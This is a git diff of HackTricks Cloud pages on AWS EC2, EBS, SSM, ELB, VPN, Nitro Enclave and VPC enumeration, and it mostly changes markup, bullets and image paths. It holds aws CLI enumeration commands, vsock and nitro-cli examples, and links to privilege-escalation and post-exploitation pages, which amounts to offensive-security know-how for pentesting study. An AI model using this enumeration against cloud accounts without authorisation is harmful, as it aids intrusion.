 ### Privesc
 
 In the following page you can check how to **abuse EC2 permissions to escalate privileges**:
 
-{% content-ref url="../../aws-privilege-escalation/aws-ec2-privesc.md" %}
-[aws-ec2-privesc.md](../../aws-privilege-escalation/aws-ec2-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-privilege-escalation/aws-ec2-privesc.md
+{{#endref}}
 
 ### Post-Exploitation
 
-{% content-ref url="../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/" %}
-[aws-ec2-ebs-ssm-and-vpc-post-exploitation](../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/
+{{#endref}}
 
 ## EBS
 
@@ -174,9 +163,9 @@ An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is u
 
 In the following page you can check how to **abuse EBS permissions to escalate privileges**:
 
-{% content-ref url="../../aws-privilege-escalation/aws-ebs-privesc.md" %}
-[aws-ebs-privesc.md](../../aws-privilege-escalation/aws-ebs-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-privilege-escalation/aws-ebs-privesc.md
+{{#endref}}
 
 ## SSM
 
@@ -207,9 +196,9 @@ ps aux | grep amazon-ssm
 
 In the following page you can check how to **abuse SSM permissions to escalate privileges**:
 
-{% content-ref url="../../aws-privilege-escalation/aws-ssm-privesc.md" %}
-[aws-ssm-privesc.md](../../aws-privilege-escalation/aws-ssm-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-privilege-escalation/aws-ssm-privesc.md
+{{#endref}}
 
 ## ELB
 
@@ -232,7 +221,6 @@ aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Launch templates
 aws ec2 describe-launch-templates
@@ -247,7 +235,6 @@ aws autoscaling describe-launch-configurations
 aws autoscaling describe-load-balancer-target-groups
 aws autoscaling describe-load-balancers
 ```
-{% endcode %}
 
 ## Nitro
 
@@ -255,9 +242,9 @@ AWS Nitro is a suite of **innovative technologies** that form the underlying pla
 
 Get more information and how to enumerate it from:
 
-{% content-ref url="aws-nitro-enum.md" %}
-[aws-nitro-enum.md](aws-nitro-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-nitro-enum.md
+{{#endref}}
 
 ## VPN
 
@@ -266,25 +253,25 @@ A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **
 #### Basic AWS VPN Components
 
 1. **Customer Gateway**:
-   * A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
-   * It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
-   * You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
-   * It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
+   - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
+   - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
+   - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
+   - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
 2. **Virtual Private Gateway**:
-   * A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
-   * It is attached to your VPC and serves as the target for your VPN connection.
-   * VPG is the AWS side endpoint for the VPN connection.
-   * It handles the secure communication between your VPC and your on-premises network.
+   - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
+   - It is attached to your VPC and serves as the target for your VPN connection.
+   - VPG is the AWS side endpoint for the VPN connection.
+   - It handles the secure communication between your VPC and your on-premises network.
 3. **Site-to-Site VPN Connection**:
-   * A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
-   * This type of connection requires a Customer Gateway and a Virtual Private Gateway.
-   * It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
-   * Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
+   - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
+   - This type of connection requires a Customer Gateway and a Virtual Private Gateway.
+   - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
+   - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
 4. **Client VPN Endpoint**:
-   * A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
-   * It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
-   * It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
-   * With Client VPN, each client device uses a VPN client software to establish a secure connection.
+   - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
+   - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
+   - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
+   - With Client VPN, each client device uses a VPN client software to establish a secure connection.
 
 You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
 
@@ -328,25 +315,12 @@ If a **VPN connection was stablished** you should search for **`.opvn`** config
 
 #### **Post Exploitaiton**
 
-{% content-ref url="../../aws-post-exploitation/aws-vpn-post-exploitation.md" %}
-[aws-vpn-post-exploitation.md](../../aws-post-exploitation/aws-vpn-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-vpn-post-exploitation.md
+{{#endref}}
 
 ## References
 
-* [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html)
+- [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
similarity index 76%
rename from pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
index 2e40121df..0c37fd609 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
@@ -1,19 +1,6 @@
 # AWS - Nitro Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,9 +10,8 @@ AWS Nitro is a suite of **innovative technologies** that form the underlying pla
 
 **AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards.
 
-{% hint style="danger" %}
-Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not.
-{% endhint %}
+> [!CAUTION]
+> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not.
 
 ## Nitro Enclave CLI installation
 
@@ -82,13 +68,11 @@ As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/even
 /etc/nitro_enclaves/allocator.yaml
 ```
 
-{% hint style="danger" %}
-Always remember that you need to **reserve some resources for the parent EC2** instance also!
-{% endhint %}
+> [!CAUTION]
+> Always remember that you need to **reserve some resources for the parent EC2** instance also!
 
 After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with:
 
-{% code overflow="wrap" %}
 ```shell
 # Restart the service so the new default values apply
 sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
@@ -96,7 +80,6 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n
 # Indicate the CPUs and memory to give
 nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16
 ```
-{% endcode %}
 
 ### Enumerate Enclaves
 
@@ -127,9 +110,8 @@ The only way to communicate with an **enclave** running image is using **vsocks*
 
 **Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments.
 
-{% hint style="success" %}
-Therefore, an vsock address looks like this: `<CID>:<Port>`
-{% endhint %}
+> [!TIP]
+> Therefore, an vsock address looks like this: `<CID>:<Port>`
 
 To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**:
 
@@ -159,15 +141,14 @@ To find **CIDs** of the enclave running images you could just execute the follow
 ]
 </code></pre>
 
-{% hint style="warning" %}
-Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
-{% endhint %}
+> [!WARNING]
+> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner).
 
 ### Vsock Server/Listener
 
 Find here a couple of examples:
 
-* [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
+- [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
 
 <details>
 
@@ -176,7 +157,7 @@ Find here a couple of examples:
 ```python
 #!/usr/bin/env python3
 
-# From 
+# From
 https://medium.com/@F.DL/understanding-vsock-684016cf0eb0
 
 import socket
@@ -210,7 +191,7 @@ socat VSOCK-LISTEN:<port>,fork EXEC:"echo Hello from server!"
 
 Examples:
 
-* [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
+- [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
 
 <details>
 
@@ -251,17 +232,15 @@ This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:4
 
 ```yaml
 allowlist:
-- {address: ip-ranges.amazonaws.com, port: 443}
+  - { address: ip-ranges.amazonaws.com, port: 443 }
 ```
 
 It's possible to see the vsock addresses (**`<CID>:<Port>`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port):
 
-{% code overflow="wrap" %}
 ```bash
 sudo ss -l -p -n | grep v_str
-v_str LISTEN 0      0                                                                              3:8001                   *:*     users:(("vsock-proxy",pid=9458,fd=3))           
+v_str LISTEN 0      0                                                                              3:8001                   *:*     users:(("vsock-proxy",pid=9458,fd=3))
 ```
-{% endcode %}
 
 ## Nitro Enclave Atestation & KMS
 
@@ -273,9 +252,8 @@ From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard
 
 You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**.
 
-{% hint style="success" %}
-Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail.
-{% endhint %}
+> [!TIP]
+> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail.
 
 ### PCR Bypass
 
@@ -287,20 +265,7 @@ The research on how to modify/create new images to bypass each protection (spcia
 
 ## References
 
-* [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0)
-* All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli)
+- [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0)
+- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
similarity index 63%
rename from pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
index 2f490c3e8..08abe0d21 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
@@ -1,19 +1,6 @@
 # AWS - VPC & Networking Basic Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AWS Networking in a Nutshell
 
@@ -27,14 +14,14 @@ Therefore, a **security group** will limit the exposed ports of the network **in
 
 Moreover, in order to **access Internet**, there are some interesting configurations to check:
 
-* A **subnetwork** can **auto-assign public IPv4 addresses**
-* An **instance** created in the network that **auto-assign IPv4 addresses can get one**
-* An **Internet gateway** need to be **attached** to the **VPC**
-  * You could also use **Egress-only internet gateways**
-* You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**.
-  * The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs)
+- A **subnetwork** can **auto-assign public IPv4 addresses**
+- An **instance** created in the network that **auto-assign IPv4 addresses can get one**
+- An **Internet gateway** need to be **attached** to the **VPC**
+  - You could also use **Egress-only internet gateways**
+- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**.
+  - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs)
 
-![](<../../../../.gitbook/assets/image (274).png>)
+![](<../../../../images/image (274).png>)
 
 ## VPC
 
@@ -44,10 +31,10 @@ Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resour
 
 Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.
 
-* Valid CIDR are from a /16 netmask to a /28 netmask.
-* A subnet cannot be in different availability zones at the same time.
-* **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
-* It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
+- Valid CIDR are from a /16 netmask to a /28 netmask.
+- A subnet cannot be in different availability zones at the same time.
+- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
+- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
 
 <figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
 
@@ -57,11 +44,11 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi
 
 Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
 
-* Local VPC
-* NAT
-* Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet).
-  * In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
-* VPC endpoints (to access S3 from private networks)
+- Local VPC
+- NAT
+- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet).
+  - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
+- VPC endpoints (to access S3 from private networks)
 
 In the following images you can check the differences in a default public network and a private one:
 
@@ -73,8 +60,8 @@ In the following images you can check the differences in a default public networ
 
 **Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.
 
-* It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections
-* However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed
+- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections
+- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed
 
 ### Security Groups
 
@@ -111,13 +98,13 @@ Unlike S3 access logs and CloudFront access logs, the **log data generated by VP
 
 Limitations:
 
-* If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
-* If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
-* Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
-* The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
-* Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
-* Traffic relating to an Amazon Windows activation license from a Windows instance
-* Traffic between a network load balancer interface and an endpoint network interface
+- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
+- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
+- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
+- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
+- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
+- Traffic relating to an Amazon Windows activation license from a Windows instance
+- Traffic between a network load balancer interface and an endpoint network interface
 
 For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
 
@@ -126,47 +113,48 @@ For every network interface that publishes data to the CloudWatch log group, it
 ### Basic AWS VPN Components
 
 1. **Customer Gateway**:
-   * A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
-   * It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
-   * You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
-   * It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
+   - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
+   - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
+   - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
+   - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
 2. **Virtual Private Gateway**:
-   * A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
-   * It is attached to your VPC and serves as the target for your VPN connection.
-   * VPG is the AWS side endpoint for the VPN connection.
-   * It handles the secure communication between your VPC and your on-premises network.
+   - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
+   - It is attached to your VPC and serves as the target for your VPN connection.
+   - VPG is the AWS side endpoint for the VPN connection.
+   - It handles the secure communication between your VPC and your on-premises network.
 3. **Site-to-Site VPN Connection**:
-   * A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
-   * This type of connection requires a Customer Gateway and a Virtual Private Gateway.
-   * It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
-   * Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
+   - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
+   - This type of connection requires a Customer Gateway and a Virtual Private Gateway.
+   - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
+   - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
 4. **Client VPN Endpoint**:
-   * A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
-   * It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
-   * It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
-   * With Client VPN, each client device uses a VPN client software to establish a secure connection.
+   - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
+   - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
+   - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
+   - With Client VPN, each client device uses a VPN client software to establish a secure connection.
 
 ### Site-to-Site VPN
 
 **Connect your on premisses network with your VPC.**
 
-* **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
-*   **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
+- **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
+- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
 
-    Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
-* **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
-* **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
-* **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
-* **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+  Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
+
+- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
+- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
+- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
 
 #### Limitations
 
-* IPv6 traffic is not supported for VPN connections on a virtual private gateway.
-* An AWS VPN connection does not support Path MTU Discovery.
+- IPv6 traffic is not supported for VPN connections on a virtual private gateway.
+- An AWS VPN connection does not support Path MTU Discovery.
 
 In addition, take the following into consideration when you use Site-to-Site VPN.
 
-* When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
+- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
 
 ### Client VPN <a href="#what-is-components" id="what-is-components"></a>
 
@@ -174,46 +162,34 @@ In addition, take the following into consideration when you use Site-to-Site VPN
 
 #### Concepts
 
-* **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
